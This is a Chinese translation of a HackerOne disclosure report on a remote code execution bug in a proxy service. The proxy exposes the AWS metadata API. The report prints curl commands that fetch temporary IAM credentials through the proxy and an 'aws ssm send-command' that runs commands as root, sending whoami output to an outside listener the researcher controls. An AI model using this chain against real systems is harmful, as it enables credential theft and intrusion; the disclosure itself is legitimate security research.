原文地址:https://hackerone.com/reports/401136
介绍
我在用于跟踪研究人员活动的代理服务上发现了这个远程代码执行 (RCE) 漏洞。这是我进一步了解 AWS 的机会,特别是 AWS EC2 Systems Manager 与开放元数据 API 相结合的危险。
出于礼貌,我在披露之前将这篇文章发送给了该组织。不幸的是,官方明确要求匿名披露,因此需要大量编辑。尽管省略了一部分细节,但我认为这篇文章仍是很有价值的。
漏洞细节
为了方便研究人员进行访问,某些程序的代理服务允许访问 AWS 的元数据 API。该元数据 API 又被配置为公开 AWS EC2 Run Command 角色的临时 AWS 访问凭证。当此角色由 AWS 客户端(例如 CLI)承担时,可以在 AWS EC2 实例上执行任意命令。
获取AWS密钥
首先,我们将使用 curl 并证明 AWS 元数据 API 是可访问的:
curl -vv http://169.254.169.254/latest/ -x '52.6.██.███:25603'
我们利用 curl 通过代理加载 AWS 的元数据 API。由于代理托管在 AWS 上,并且不会阻止到内部 IP 的流量(例如此 API),因此我们能够访问它。
要生成一对临时访问密钥,我们可以运行以下命令:
curl -vv http://169.254.169.254/latest/meta-data/iam/security-credentials/runCommand -x '52.6.██.███:25603'
这个runCommand角色很有趣,让我假设它被用于https://aws.amazon.com/ec2/run-command/。
配置 AWS CLI
首先需要安装一个AWS CLI,然后才能继续:
设置一下环境变量:
export AWS_ACCESS_KEY_ID=<"AccessKeyId" you exposed in the last cURL command>
export AWS_SECRET_ACCESS_KEY=<"SecretAccessKey" you exposed in the last cURL commandt>
export AWS_SESSION_TOKEN=<"Token" you exposed in the last cURL command>
现在,在同一个 shell 会话中,您应该能够通过 CLI 与多个 AWS 服务进行交互。
以root身份执行任意命令
由于角色名称是runCommand我立即选择了 AWS EC2 Systems Manager(特别是aws ssm send-command)。
配置访问密钥后,我运行以下 AWS CLI 命令来证明密钥确实具有足够的权限来执行任意命令:
aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
在我的开发服务器上,我在端口 8080 ( nc -vvkl 8080) 上运行了一个 netcat 侦听器,以捕获传入的 curl 请求。我还选择执行一个快速whoami命令并将其作为 cURL HTTP 调用中的路径传递,这样我就可以快速确认什么类型的用户正在执行这些命令。
HTTP请求如下:
Connection from [52.73.██.██] port 8080 [tcp/http-alt] accepted (family 2, sport 45163)
GET /root HTTP/1.1
User-Agent: curl/7.35.0
Host: 162.243.███.███:8080
Accept: */*
这足以证明我可进行命令执行(这些命令以root身份执行的)。
请注意,我只在一个实例上尝试过此操作,但我希望该us-east-1区域中有更多实例允许执行这种类型的命令(并且可能还有其他区域中的实例)。